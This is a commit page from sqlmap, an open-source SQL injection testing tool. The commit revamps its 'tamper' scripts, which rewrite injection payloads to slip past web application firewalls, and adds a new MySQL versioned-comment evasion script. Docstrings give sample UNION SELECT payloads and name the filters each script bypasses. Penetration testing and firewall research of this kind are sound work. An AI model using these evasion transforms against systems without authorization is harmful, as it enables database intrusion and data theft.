Skip to content

Commit 23b4efd

Browse files
bdamelebdamele
committed
Revamp of tamper scripts, now supporting dependencies() function as well. Improved a lot the docstring and retested all. Added a new one from Ahmad too.
1 parent 0d28c1e commit 23b4efd

18 files changed

Lines changed: 399 additions & 45 deletions

‎doc/THANKS‎

Lines changed: 11 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,10 @@ Otavio Augusto <otavioarj@gmail.com>
2626
Simon Baker <simonb@sec-1.com>
2727
for reporting some bugs
2828

29+
Ryan Barnett <RBarnett@trustwave.com>
30+
for organizing the ModSecurity SQL injection challenge,
31+
http://modsecurity.org/demo/challenge.html
32+
2933
Emiliano Bazaes <emiliano@7espejos.com>
3034
for reporting a minor bug
3135

@@ -295,6 +299,9 @@ David McNab <david@conscious.co.nz>
295299
Spencer J. McIntyre <smcintyre@securestate.com>
296300
for reporting a minor bug
297301

302+
Ahmad Maulana <matdhule@gmail.com>
303+
for providing one tamper scripts, halfversionedmorekeywords.py
304+
298305
Enrico Milanese <enricomilanese@gmail.com>
299306
for reporting a bugs when using (-a) a single line User-Agent file
300307
for providing me with some ideas for the PHP backdoor
@@ -327,6 +334,9 @@ Simone Onofri <simone.onofri@gmail.com>
327334
for patching the PHP web backdoor to make it work properly also on
328335
Windows
329336

337+
Michele Orru <michele.orru@antisnatchor.com>
338+
for reporting a minor bug
339+
330340
Shaohua Pan <pan@knownsec.com>
331341
for reporting several bugs
332342
for suggesting a few features
@@ -545,7 +555,7 @@ pacman730 <pacman730@users.sourceforge.net>
545555
for reporting a bug
546556

547557
Phat R. <phatthanaphol@gmail.com>
548-
for reporting a minor bug
558+
for reporting a few bugs
549559

550560
Phil P <@superevr>
551561
for suggesting a minor enhancement

‎lib/core/option.py‎

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -825,7 +825,7 @@ def __setTamperingFunctions():
825825
if check_priority and priority > last_priority:
826826
message = "it seems that you might have mixed "
827827
message += "the order of tamper scripts.\n"
828-
message += "Do you want to auto resolve this? [Y/n/q]"
828+
message += "Do you want to auto resolve this? [Y/n/q] "
829829
test = readInput(message, default="Y")
830830

831831
if not test or test[0] in ("y", "Y"):
@@ -841,6 +841,8 @@ def __setTamperingFunctions():
841841
last_priority = priority
842842

843843
break
844+
elif name == "dependencies":
845+
function()
844846

845847
if not found:
846848
raise sqlmapGenericException, "missing function 'tamper(value)' in tamper script '%s'" % tfile
@@ -981,8 +983,9 @@ def __setPrefixSuffix():
981983
else:
982984
boundary.ptype = 1
983985

984-
# user who knows for --prefix/--suffix doesn't want other combinations
985-
conf.boundaries = [boundary]
986+
# user who provides --prefix/--suffix does not want other boundaries
987+
# to be tested for
988+
conf.boundaries = [ boundary ]
986989

987990
def __setHTTPAuthentication():
988991
"""

‎tamper/apostrophemask.py‎

Lines changed: 14 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -7,18 +7,26 @@
77
See the file 'doc/COPYING' for copying permission
88
"""
99

10-
import string
11-
1210
from lib.core.enums import PRIORITY
13-
from lib.core.exception import sqlmapUnsupportedFeatureException
1411

1512
__priority__ = PRIORITY.LOWEST
1613

14+
def dependencies():
15+
pass
16+
1717
def tamper(payload):
1818
"""
19-
Replaces apostrophe character with it's UTF8 fullwidth counterpart
20-
Example: "AND '1'='1'" becomes "AND %EF%BC%871%EF%BC%87=%EF%BC%871%EF%BC%87"
21-
Reference: http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
19+
Replaces apostrophe character with its UTF-8 full width counterpart
20+
21+
Example:
22+
* Input: AND '1'='1'
23+
* Output: AND %EF%BC%871%EF%BC%87=%EF%BC%871%EF%BC%87
24+
25+
References:
26+
* http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
27+
* http://lukasz.pilorz.net/testy/unicode_conversion/
28+
* http://sla.ckers.org/forum/read.php?13,11562,11850
29+
* http://lukasz.pilorz.net/testy/full_width_utf/index.phps
2230
"""
2331

2432
retVal = payload

‎tamper/appendnullbyte.py‎

Lines changed: 17 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -7,16 +7,29 @@
77
See the file 'doc/COPYING' for copying permission
88
"""
99

10-
import string
11-
1210
from lib.core.enums import PRIORITY
1311

1412
__priority__ = PRIORITY.LOWEST
1513

14+
def dependencies():
15+
pass
16+
1617
def tamper(payload):
1718
"""
18-
Appends encoded null byte character at the end of payload
19-
Example: "AND 1=1" becomes "AND 1=1%00"
19+
Appends encoded NULL byte character at the end of payload
20+
21+
Example:
22+
* Input: AND 1=1
23+
* Output: AND 1=1%00
24+
25+
Requirement:
26+
* Microsoft Access
27+
28+
Notes:
29+
* Useful to bypass weak web application firewalls when the back-end
30+
database management system is Microsoft Access - further uses are
31+
also possible
32+
2033
Reference: http://projects.webappsec.org/w/page/13246949/Null-Byte-Injection
2134
"""
2235

‎tamper/between.py‎

Lines changed: 20 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -11,10 +11,28 @@
1111

1212
__priority__ = PRIORITY.HIGHEST
1313

14+
def dependencies():
15+
pass
16+
1417
def tamper(payload):
1518
"""
16-
Replaces '>' with 'NOT BETWEEN 0 AND #'
17-
Example: 'A > B' becomes 'A NOT BETWEEN 0 AND B'
19+
Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'
20+
21+
Example:
22+
* Input: 'A > B'
23+
* Output: 'A NOT BETWEEN 0 AND B'
24+
25+
Tested against:
26+
* Microsoft SQL Server 2005
27+
* MySQL 4, 5.0 and 5.5
28+
* Oracle 10g
29+
* PostgreSQL 8.3, 8.4, 9.0
30+
31+
Notes:
32+
* Useful to bypass weak and bespoke web application firewalls that
33+
filter the greater than character
34+
* The BETWEEN clause is SQL standard. Hence, this tamper script
35+
should work against all (?) databases
1836
"""
1937

2038
retVal = payload

‎tamper/charencode.py‎

Lines changed: 21 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -14,10 +14,29 @@
1414

1515
__priority__ = PRIORITY.LOWEST
1616

17+
def dependencies():
18+
pass
19+
1720
def tamper(payload):
1821
"""
19-
Urlencodes all characters in a given payload (not processing already encoded)
20-
Example: 'SELECT FIELD FROM%20TABLE' becomes '%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45'
22+
Url-encodes all characters in a given payload (not processing already
23+
encoded)
24+
25+
Example:
26+
* Input: SELECT FIELD FROM%20TABLE
27+
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
28+
29+
Tested against:
30+
* Microsoft SQL Server 2005
31+
* MySQL 4, 5.0 and 5.5
32+
* Oracle 10g
33+
* PostgreSQL 8.3, 8.4, 9.0
34+
35+
Notes:
36+
* Useful to bypass very weak web application firewalls that do not
37+
url-decode the request before processing it through their ruleset
38+
* The web server will anyway pass the url-decoded version behind,
39+
hence it should work against any DBMS
2140
"""
2241

2342
retVal = payload

‎tamper/charunicodeencode.py‎

Lines changed: 12 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -10,14 +10,23 @@
1010
import string
1111

1212
from lib.core.enums import PRIORITY
13-
from lib.core.exception import sqlmapUnsupportedFeatureException
1413

1514
__priority__ = PRIORITY.LOWEST
1615

16+
def dependencies():
17+
pass
18+
1719
def tamper(payload):
1820
"""
19-
Replaces payload with unicode-urlencode of non-encoded chars in payload (not processing already encoded)
20-
Example: 'SELECT FIELD%20FROM TABLE' becomes '%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045'
21+
Unicode-url-encodes non-encoded characters in a given payload (not
22+
processing already encoded)
23+
24+
Example:
25+
* Input: SELECT FIELD%20FROM TABLE
26+
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045'
27+
28+
Notes:
29+
* Does this ever work?
2130
"""
2231

2332
retVal = payload

‎tamper/equaltolike.py‎

Lines changed: 22 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -7,21 +7,41 @@
77
See the file 'doc/COPYING' for copying permission
88
"""
99

10+
import os
1011
import re
1112

13+
from lib.core.common import singleTimeWarnMessage
14+
from lib.core.enums import DBMS
1215
from lib.core.enums import PRIORITY
1316

1417
__priority__ = PRIORITY.HIGHEST
1518

19+
def dependencies():
20+
singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" % (os.path.basename(__file__)[:-3], DBMS.PGSQL))
21+
1622
def tamper(payload):
1723
"""
18-
Replaces all occurances of operator = with operator LIKE
19-
Example: 'SELECT * FROM users WHERE id=1' becomes 'SELECT * FROM users WHERE id LIKE 1'
24+
Replaces all occurances of operator equal ('=') with operator 'LIKE'
25+
26+
Example:
27+
* Input: SELECT * FROM users WHERE id=1
28+
* Output: SELECT * FROM users WHERE id LIKE 1
29+
30+
Tested against:
31+
* Microsoft SQL Server 2005
32+
* MySQL 4, 5.0 and 5.5
33+
34+
Notes:
35+
* Useful to bypass weak and bespoke web application firewalls that
36+
filter the greater than character
37+
* The LIKE operator is SQL standard. Hence, this tamper script
38+
should work against all (?) databases
2039
"""
2140

2241
def process(match):
2342
word = match.group()
2443
word = "%sLIKE%s" % (" " if word[0]!=" " else "", " " if word[-1]!=" " else "")
44+
2545
return word
2646

2747
retVal = payload

‎tamper/halfversionedmorekeywords.py‎

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
#!/usr/bin/env python
2+
3+
"""
4+
$Id$
5+
6+
Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/)
7+
See the file 'doc/COPYING' for copying permission
8+
"""
9+
10+
import os
11+
import re
12+
13+
from lib.core.common import singleTimeWarnMessage
14+
from lib.core.data import kb
15+
from lib.core.enums import DBMS
16+
from lib.core.enums import PRIORITY
17+
from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS
18+
19+
__priority__ = PRIORITY.HIGHER
20+
21+
def dependencies():
22+
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s < 5.0" % (os.path.basename(__file__)[:-3], DBMS.MYSQL))
23+
24+
def tamper(payload):
25+
"""
26+
Adds versioned MySQL comment before each keyword
27+
28+
Example:
29+
* Input: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa
30+
* Output: value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa
31+
32+
Requirement:
33+
* MySQL < 5.0
34+
35+
Tested against:
36+
* MySQL 4.0.18
37+
38+
Notes:
39+
* Useful to bypass several web application firewalls when the
40+
back-end database management system is MySQL
41+
* Used during the ModSecurity SQL injection challenge,
42+
http://modsecurity.org/demo/challenge.html
43+
"""
44+
45+
def process(match):
46+
word = match.group('word')
47+
if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
48+
return match.group().replace(word, "/*!0%s" % word)
49+
else:
50+
return match.group()
51+
52+
retVal = payload
53+
54+
if payload:
55+
retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal)
56+
retVal = retVal.replace(" /*!0", "/*!0")
57+
58+
return retVal

‎tamper/ifnull2ifisnull.py‎

Lines changed: 20 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -11,14 +11,31 @@
1111

1212
__priority__ = PRIORITY.HIGHEST
1313

14+
def dependencies():
15+
pass
16+
1417
def tamper(payload):
1518
"""
16-
Replaces 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'
17-
Example: 'IFNULL(1, 2)' becomes 'IF(ISNULL(1), 2, 1)'
19+
Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'
20+
21+
Example:
22+
* Input: IFNULL(1, 2)
23+
* Output: IF(ISNULL(1), 2, 1)
24+
25+
Requirement:
26+
* MySQL
27+
* SQLite (possibly)
28+
* SAP MaxDB (possibly)
29+
30+
Tested against:
31+
* MySQL 5.0 and 5.5
32+
33+
Notes:
34+
* Useful to bypass very weak and bespoke web application firewalls
35+
that filter the IFNULL() function
1836
"""
1937

2038
if payload and payload.find("IFNULL") > -1:
21-
2239
while payload.find("IFNULL(") > -1:
2340
index = payload.find("IFNULL(")
2441
deepness = 1

0 commit comments

Comments
 (0)